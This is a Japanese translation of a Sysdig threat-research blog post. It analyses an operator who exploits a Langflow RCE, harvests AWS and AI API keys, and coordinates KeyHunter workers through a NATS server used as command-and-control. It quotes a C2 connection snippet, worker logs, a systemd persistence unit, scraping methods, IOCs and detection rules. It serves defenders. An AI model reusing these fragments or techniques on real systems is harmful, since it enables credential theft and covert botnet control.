< ブログ一覧に戻る

NATS-as-C2:攻撃者がクラウド認証情報と AI API キーを収集するために使用している新たな手法の内部解析

清水 孝郎
NATS-as-C2:攻撃者がクラウド認証情報と AI API キーを収集するために使用している新たな手法の内部解析
執筆者
清水 孝郎
NATS-as-C2:攻撃者がクラウド認証情報と AI API キーを収集するために使用している新たな手法の内部解析
Published:
May 14, 2026
この記事の内容
シスディグによるファルコフィード

Falco Feedsは、オープンソースに焦点を当てた企業に、新しい脅威が発見されると継続的に更新される専門家が作成したルールにアクセスできるようにすることで、Falcoの力を拡大します。

さらに詳しく
Green background with a circular icon on the left and three bullet points listing: Automatically detect threats, Eliminate rule maintenance, Stay compliant, with three black and white cursor arrows pointing at the text.

本文の内容は、2026年5月14日に Michael Clark が投稿したブログ(https://www.sysdig.com/blog/nats-as-c2-inside-a-new-technique-attackers-are-using-to-harvest-cloud-credentials-and-ai-api-keys)を元に日本語に翻訳・再構成した内容となっております。

2026年5月5日、Sysdig 脅威リサーチチーム(TRT)は、脅威アクターが NATS サーバーを C2 インフラとして使用する新たなコマンド&コントロール(C2)手法を特定しました。Sysdig TRT は、この手法を「NATS-as-C2」と名付けました。攻撃者は、従来の HTTP ベースのパネルやチャットプラットフォームに依存するのではなく、現代的な分散システムでより一般的に使用されるインフラを悪用していました。

Sysdig TRT は、このアクティビティを、Langflow に存在する認証不要のリモートコード実行(RCE)脆弱性であり、2026年3月25日に CISA KEV カタログへ追加された CVE-2026-33017 を悪用する長時間の試みにまで追跡しました。約 30 分間の手動操作の中で、159.89.205.184(DigitalOcean)のオペレーターは Python ワーカーと Go バイナリをダウンロードしました。この間に Sysdig TRT は脅威アクターのペイロードを捕捉し、その調整基盤を明らかにしました。それは、認証済みで ACL が適用されたインスタンスとして動作する 45.192.109.25:14222 の NATS サーバーでした。その後、攻撃者は DirtyPipe および DirtyCreds のエクスプロイトを使用して、コンテナからの脱出を試みました。

脅威アクターは、Discord、Telegram、GitHub、クラウドストレージ、AI アシスタントなど、正規のプラットフォームやサービスを秘匿通信チャネルとして採用するケースを増やしています。また、今年公開された、より高度なクレデンシャルスタッフィング操作には、4月10日に漏えいした Hetzner クラスターを含め、REST 経由の Flask と Socket.IO が使用されていました。サブジェクトレベルの認可を備えたネイティブの pub/sub メッセージブローカーの使用は、いずれのパターンから見ても注目すべき進化です。

簡単に言えば、Sysdig TRT は、攻撃者が脆弱性を悪用し、マルウェアをインストールし、より深いシステム制御を確立するためにラテラルムーブメントを行う様子を観測しました。特に注目すべき点は、攻撃者が通常は高速なアプリケーション通信を目的とするメッセージングサーバーである NATS を、隠れた C2 システムとして新たに使用していたことです。このオペレーションにより、脅威アクターは感染したマシンを管理するための、より高度で組織化された手段を手に入れていました。

NATS-as-C2 ツールチェーン

オペレーターは、このプロジェクトを KeyHunter と名付けていました。これはおそらく、API キー漏えいを発見するために設計された元のツールにちなんだものです。初期のワーカーダウンロードにより、C2 エンドポイントとメッセージバスの識別情報が確認されました。

=== KeyHunter Python Worker ===
Worker ID: py-XXXXXX
NATS: nats://45.192.109.25:14222
Capabilities: ['scan_cde', 'scan_web', 'validate_aws', 'validate_ai']
[REGEX] Loaded 12 patterns

宣言された 4 つの機能は、ワーカーの NATS サブスクライブサブジェクトでもあります。task.scan_cde、task.scan_web、task.validate_aws、task.validate_ai であり、いずれも Python ソースから取得されました。それぞれが個別の収益化経路です。

  • scan_cde は、Cloud Development Environment プラットフォーム(CodePen、JSFiddle、StackBlitz、CodeSandbox)を標的とし、キューが配信する任意の URL に対して GenericClient フォールバックを使用します。これは共有スニペットからの認証情報収集であり、一般的ではありません。
  • scan_web は、任意の URL をスクレイピングします。
  • validate_aws は、boto3 経由で sts:GetCallerIdentity を呼び出し、返された Account、Arn、UserId をオペレーター向けに記録することで、収集された AWS アクセスキーが有効であることを確認します。
  • validate_ai は、収集された LLM プロバイダーのキーをベンダー API に対して直接検証します。オープンソースの fadidevv/keyhunter プロジェクトは類似したプロバイダー群をカバーしており、オペレーターはそのブランドをコピーした可能性があります。

単一のワーカーが、同じスキャン出力からクラウド認証情報と AI API キーの両方を収集し、それぞれが有効かどうかを報告前に確認するよう配置されています。これにより、1 つの取得キーのパイプラインから、2 つの独立した収益源が生まれます。

ACL が適用されたサーバー側の使用

ログによると、NATS ワーカーは最初の publish ですぐに失敗し始めました。

nats: encountered error
nats.errors.Error: nats: permissions violation for publish to "heartbeat.worker"

オペレーターは、アドホックな列挙スクリプトをエクスプロイトチャネルに直接書き込むことで対応しました。取得されたプレフィックスは以下のとおりです。

import asyncio, nats, json

async def test():
    nc = await nats.connect("nats://45.192.109.25:14222",
                            user="worker",
                            password="Wkr-XXXX",
                            name="test-perm")
    results = []
    for s in [...]:    # candidate subject list, body of script truncated in capture

完全なスクリプトによって生成された出力には、name=“test-perm” の下で、ワーカーロールが publish を許可されていたサブジェクトが一覧表示されていました。

heartbeat.worker     = OK
worker.hb            = OK
worker.heartbeat     = OK
result.scan          = OK
scan.result          = OK
result               = OK
worker.result        = OK
kh.result            = OK
keyhunter.result     = OK
workers.heartbeat    = OK

正しく設定された NATS サーバーは、ワイヤレイヤーでサブジェクトレベルの認可を適用します。ワーカーロールは結果とハートビートを publish できますが、制御用サブジェクトへの publish、他のワーカーへの subscribe、またはオペレーターのコマンドストリームの読み取りはできません。侵害されたノードがメッセージバス内でピボットすることはできません。これは、ボットネットに適用された最小権限の原則であり、NATS-as-C2 がアーキテクチャ上興味深い主な理由です。

オペレーターによる書き換え(heartbeat.worker ではなく hb.worker、その後 worker.hb)は、実際には自分たちが制御していないアクセス制御リスト(ACL)に対するライブデバッグでした。Go バイナリは独立して失敗し、パニック出力に Windows のビルドパスを漏えいしました。

fatal error: failed to reserve page summary memory

runtime stack:
runtime.throw({0x92e78b?, 0x20000000?})
        D:/Program Files/Go/src/runtime/panic.go:1094 +0x48

オペレーターは最後に、GOMEMLIMIT=400MiB を指定して Go ランタイムを制限しようとしましたが、Go の mheap は GOMEMLIMIT を適用する前にページサマリを割り当てるため、バイナリは同じ箇所でパニックを起こしました。その試行の後、セッションは終了しました。Python ワーカーは運用経路として残り、この環境では Go バイナリは放棄されました。

オペレーターが実際に行っていたこと

上記で分析したデプロイの試みは、より長いセッションの後半部分でした。その前の 10 時間にわたり、同じオペレーターの IP は完全な認証情報の収集および再利用サイクルを実行しており、このデプロイの試みは、直接の標的から可能な限り多くを抽出した後、自分たちのプールに安定したノードを追加することを目的としていました。

タイムライン

時刻(UTC)

アクティビティ

04:13

LMDeploy(LLM 推論サービス)インスタンスに対する最初のプローブ:Swagger ルート、/v1/models の列挙、マルチモーダルエンドポイントに対する SSRF

04:00 ~ 09:00203

LMDeploy に対する SSRF エクスプロイトイベントに加え、LiteLLM インスタンス上でのマスターキーおよび管理サーフェスの探索

09:09

Langflow ターゲットに対する最初のプローブ

09:12

CVE-2026-33017 /api/v1/build_public_tmp//flow を介した認証不要の RCE に成功。攻撃者のペイロードはプロセス環境をダンプし、AWS_ACCESS_KEY_ID、AWS_SECRET_ACCESS_KEY を抽出

09:21

収集された認証情報を使用した最初の AWS API 呼び出し:sts:GetCallerIdentity、受理

09:21 ~ 13:39

bedrock、sts、s3、ec2、ce、lambda、logs、ecs、sagemaker、sso、iam にわたる AWS API 呼び出し

14:03

前のセクションで詳述したワーカーデプロイの試みとともに、Langflow ターゲットへ再訪

AWS の偵察パターンは次の内容で構成されていました。

  • Bedrock:InvokeModel の試行。オペレーターは、収集したキーを AWS Bedrock の基盤モデルに対して使用し、LLMjacking を行おうとしていました。これは、ワーカーの validate_ai 機能と同じ収益化経路ですが、OpenAI や Anthropic の SaaS キーではなく、AWS ネイティブの LLM 推論に適用されたものです。盗まれた Bedrock アクセスは、オペレーターが料金を支払わないコンピュートへ直接変換されます。また、プレミアム基盤モデル(Claude、Llama 3)のトークンあたりのコストは、収集された数千件の AWS キーをテストする消費レートに見合うほど、規模が大きくなると十分に高額です。
  • Bedrock:ListInferenceProfiles および Bedrock:ListModelInvocationJobs。IAM ロールがアクセスできるモデルリージョンと推論エンドポイントを調査する、コントロールプレーンの探索プローブです。
  • sts:GetCallerIdentity の呼び出し。キーが有効であることを確認し、その IAM プリンシパルを特定します。ワーカーの validate_aws 機能は、まさにこれを行います。
  • S3:ListBuckets、ec2:DescribeInstances、ce:GetCostAndUsage、lambda:ListFunctions、logs:DescribeLogGroups、ecs:ListClusters、sagemaker:ListEndpoints、sso:ListInstances、iam:ListAttachedUserPolicies の呼び出し。これは標準的なスコープ付きキーの偵察スイープであり、数秒のうちに一般的な AWS サービスの攻撃対象領域をすべて列挙します。

上記のパターンは、自動化された validate_aws ワーカーが大規模に行うことそのものです。有効性を確認し、IAM プリンシパルの到達範囲を列挙し、その後、そのキーがアクセスできる最も価値の高いサービスへルーティングします。

ワーカーバイナリの静的トリアージ

セッション終了後も、オペレーターのステージングサーバーは 159.89.205.184:8888 から 4 つのファイルを配信し続けていました。worker-linux-amd64(9.4 MB の Go バイナリ)、keyhunter_worker.py(Python フォールバック)、deploy.sh(本番用インストーラー)、worker.yaml(設定)です。

Go バイナリは静的リンクされ、strip 済みで、CGO が無効化されており、github.com/keyhunter/worker (devel) へのモジュールパスが含まれています。また、シンボルテーブルには、オペレーターの Windows プロジェクトレイアウトを漏えいするソースパスも含まれています。

  • モジュールキャッシュには D:/Program Files/Go/… が使用されていました。
  • 作業ツリーには /AyuGram Desktop/KeyHunter-Distributed/worker/… が使用されていました。(AyuGram Desktop はカスタム Telegram デスクトップクライアントです。)

パッケージレイアウトを逆コンパイルすると、GitHub ではなくオンラインコードサンドボックスプラットフォームを標的としていることなど、豊富なツール情報が明らかになります。このワーカーには、4 つのプラットフォーム向けの専用スクレイパーが含まれており、それぞれに複数のフォールバック抽出戦略が備わっています。

Platform

Extraction methods 

CodePen

extractViaInitData, extractViaNextData, extractViaPenVar, extractViaTextarea

JSFiddle

extractViaEditorConfig, extractViaPanel, extractViaTextarea

StackBlitz

downloadViaAPI, downloadViaPage

CodeSandbox

downloadDirect, downloadViaSidecar

GitHub は、こうした認証情報ハンターにとって明らかな標的であり、この分野で公開されているすべての OSS ツールの焦点です。オンラインコードサンドボックスは、より目立たず、おそらくより豊富なコーパスです。開発者はスニペットをテストするために API キーを貼り付け、助けを求めてそのスニペットを共有し、そのまま削除しないことがあります。プラットフォームごとのフォールバック数は、エンジニアリング上の取り組みを示しています。各プラットフォームは、少なくとも 2 つの異なる抽出経路についてリバースエンジニアリングされているため、フロントエンドの変更によってワーカーが壊れることはありません。

uTLS によるブラウザフィンガープリントの模倣

このバイナリは github.com/refraction-networking/utls v1.8.2 をインポートしています。uTLS は、Chrome、Firefox、Safari、iOS、Android などのブラウザを模倣した ClientHello フィンガープリントを提供し、Cloudflare、Akamai、および CodeSandbox や StackBlitz の前段にあるボット検知レイヤーで使用されるサーバー側 TLS フィンガープリント(JA3、JA4)を回避します。複数の抽出戦略ロジックと組み合わせることで、これは標的とするプラットフォームのボット防御を回避するよう設計された認証情報スクレイパーであることがわかります。

Headless-browser サイドカー

Go パッケージには、レンダリング済み Web ページをスクレイピングするための SidecarProcess が含まれています。CodeSandbox は、直接 API 経路が失敗した場合のフォールバックとして downloadViaSidecar を使用します。最も可能性が高い目的は、JavaScript を多用するページをレンダリングする子サブプロセス(通常はヘッドレスブラウザ)であり、バッファリングされた接続が、そのサブプロセスとワーカーの間で HTTP をプロキシすることです。純粋な HTTP スクレイパーであれば、このコードパスは必要ありません。

JetStream pull consumer

NATS クライアントは AckExplicit を指定した PullSubscribe を使用しており、これは JetStream の永続コンシューマーパターンです。タスクは中央でキューに入れられ、ワーカーがプルして明示的に ACK を返します。また、ワーカーが停止した場合、処理中だったタスクは再配信のためにキューへ戻されます。これは、本稿の前半で述べたアーキテクチャ上の主張と一致します。つまり、NATS-as-C2 は、独自のクライアントコードなしに、オペレーターへ永続性と少なくとも 1 回の配信を提供します。WorkerStats 構造体には IncrActive、DecrActive、SetTaskProgress、Snapshot が公開されており、タスクごとの進捗がオペレーターコンソールへ報告されていることを示しています。

キー検出エンジン

認証情報の取得処理の 1 つは Python ベースであり、AWS、GitHub、OpenAI、Anthropic、Google、Slack、Stripe、秘密鍵、JWT、DB URL をカバーする 12 種類の正規表現パターンセットを埋め込んでいます(完全な一覧は付録に記載)。また、より包括的なカバレッジを得て、見逃された可能性のある認証情報を検出するために、バイナリがディスク上に存在する場合は gitleaks v8.24.3 の呼び出しも試みます(birdbath に類似)。

Go バイナリは gitleaks を正しく統合しており、解析エラーメッセージやレポートパステンプレートの可視文字列定数を使用しています。そのため、本番ホスト上のワーカーは、gitleaks の約 150 ルールからなる完全なカバレッジを保持しています。

永続化

deploy.sh はインストールスクリプトとして使用されます。root 権限を前提としており、apt-get / yum / apk を実行して依存関係をインストールし、GitHub Releases から gitleaks を取得し、/opt/keyhunter-worker/ にインストールして、keyhunter-worker.service の systemd ユニットを書き込みます。deploy.sh によってインストールされる systemd ユニットは次のとおりです。

[Service]
Type=simple
WorkingDirectory=/opt/keyhunter-worker
ExecStart=/opt/keyhunter-worker/keyhunter-worker
Restart=always
RestartSec=5
LimitNOFILE=65535

Restart=always と WantedBy=multi-user.target により、ワーカーノードは再起動、カーネルアップグレード、クラッシュ後も存続します。つまり、これらは使い捨てのステージャーではなく、長期間稼働するインフラです。LimitNOFILE=65535 は、プロセスごとのファイルディスクリプタ上限を 65k に引き上げるもので、多数の同時外向き接続を想定したサイズです。(Go バイナリのワーカーごとの並行数は worker.yaml では 10 ですが、各スクレイピング処理は、ヘッドレスブラウザのサイドカーを含め、複数のソケットを開く可能性があります。)

OPSEC

同様に示唆的なのは、このスクリプトが実行していないことです。unset HISTFILE も、journald の無効化も、/tmp の消去も、メモリ上のみのインストールパスも、監査痕跡を削除するログローテーションも、systemd ユニットを目立たない名前に隠す試みもありません。ワーカーホストは、フォレンジック面で強化されていません。

合理的に推測すると、これらはオペレーターが使い捨ての身元で借りている、または完全に使い捨てとして扱っている仮想プライベートサーバー(VPS)インスタンスです。フォレンジック対策を強化するコストよりも、強化された手口を構築するコストのほうが高いため、この脅威アクターは強化を完全に省略したと考えられます。このパターンは、ノードごとの水準を引き上げるのではなく、安価なノードを追加することでスケールする小規模なオペレーションと一致しています。

また、このデプロイスクリプトは x86_64 と aarch64 で分岐しており、両方のアーキテクチャがワーカープールの一部であることを示唆しています。ARM ノードは大規模運用ではより安価であり、新しい Graviton クラスのクラウドインスタンスで主流となっているため、オペレーターは AKIA 検証済みのコストを低く抑えるために、クラウドプロバイダーやインスタンスタイプをまたいで分散していると推定されます。

セキュリティ侵害の指標

Indicator

Type

45.192.109.25:14222

NATS C2

159.89.205.184:8888

Staging HTTP

ファイルハッシュ

File

SHA-256

Size 

worker-linux-amd64

dbee863ad2a39f939be2c7ed76f7d5a8fe000aad2d2b2d32b3e8ec3ee42f1c25

9,453,752

keyhunter_worker.py

323bbf3064d4b83df7920d752636b1acb36f462e58609a815bd8084d1e6b004c

10,979

deploy.sh

16b279aa018c64294d58280636e538f86e3dd9bdcb5734c203373394b72d101a

1,424

なぜこれが重要なのか

NATS サーバーは、スキャナープールのオペレーターが従来は自ら設計・実装しなければならなかった 3 つの特性を提供します。

  • ワイヤレベルの認可:サブジェクトごとの ACL はブローカーによって適用され、侵害されたノードが無効化できるクライアント側チェックには依存しません。
  • 一対多のファンアウト:result.scan への 1 回の publish が、ワーカーがピアを列挙することなく、すべてのアグリゲーターに到達します。これにより OPSEC が向上し、水平スケーリングが簡素化されます。
  • ネイティブな認証と永続性:ユーザー名/パスワード、TLS、nkey 認証がネイティブにサポートされており、JetStream は永続キューを提供するため、ワーカーがオフラインになっても作業を失わずに済みます。

NATS-as-C2 インフラを運用するための技術的なハードルは、Flask パネルを実行するよりも明らかに高くなります。159.89.205.184 のオペレーターは、認証情報収集ボットネットでよく見られるスクリプトキットよりも、小規模な SaaS を運用している状態に近いと言えます。

ワーカー ACL の下で列挙された NATS publish サブジェクト:heartbeat.worker、worker.hb、worker.heartbeat、result.scan、scan.result、result、worker.result、kh.result、keyhunter.result、workers.heartbeat。

検知

Sysdig Secure および OSS Falco のルールは、NATS-as-C2 マルウェアの検知に使用できます。前述のとおり、このマルウェアは防御回避に関して追加の手順を踏んでいません。しかし、ネットワークで一般的に見られる典型的なメカニズムを使用しているため、その場に隠れることができます。

NATS-as-C2 がトリガーするルールには、以下が含まれます。

  • Suspicious System Service Modification
  • Outbound Connection to C2 Servers
  • Sysdig AWS Runtime Analytics

推奨事項

  • CVE-2026-33017 に対応したバージョンへ Langflow を更新してください。脆弱なエンドポイントは認証不要であるため、大規模スキャンが容易になります。
  • ネットワーク境界で、45.192.109.25:14222 および 159.89.205.184:8888 への外向きトラフィックをブロックしてください。
  • AI ツールを実行するワークロードには、外向き通信の許可リストを適用してください。Langflow、n8n、および類似のビジュアルフロープラットフォームは、通常、特定の LLM およびデータベースエンドポイントへの外向きアクセスのみを必要とします。広範な外向き通信は不要であり、デプロイされたワーカーが NATS ブローカーへ到達するために必要とするチャネルそのものを提供してしまいます。
  • パッチ適用前に公開されていた Langflow インスタンスから到達可能だった AWS、OpenAI、Anthropic、または HuggingFace の認証情報をすべてローテーションしてください。捕捉されたワーカーは、これらをリアルタイムで検証します。

まとめ

Sysdig TRT が発見した KeyHunter オペレーターは、エンジニアリングチームが NATS を採用するのと同じ理由で NATS を使用しています。すなわち、サブジェクト単位の認可、ネイティブなファンアウト、永続キューです。これらの特性はいずれも、それ単体では正規のワークロードに固有のものではなく、認証情報収集ワーカープールに適用することで、一般的な HTTP パネルアーキテクチャーよりも信頼性が高く、スケーラブルなボットネットが生み出されます。

オペレーターが RCE チャネルを通じて漏えいした実際のエラー文字列は、有用な検知の手がかりになりますが、より広い意味での要点は、NATS-as-C2 が防御側が今後さらに目にすることを想定すべき新しい手法であるという点です。その結果、外向き通信の制御態勢は、これまで以上に重要になります。

About the author

No items found.
featured resources

セキュリティの専門家と一緒に、クラウド防御の最適な方法を探索しよう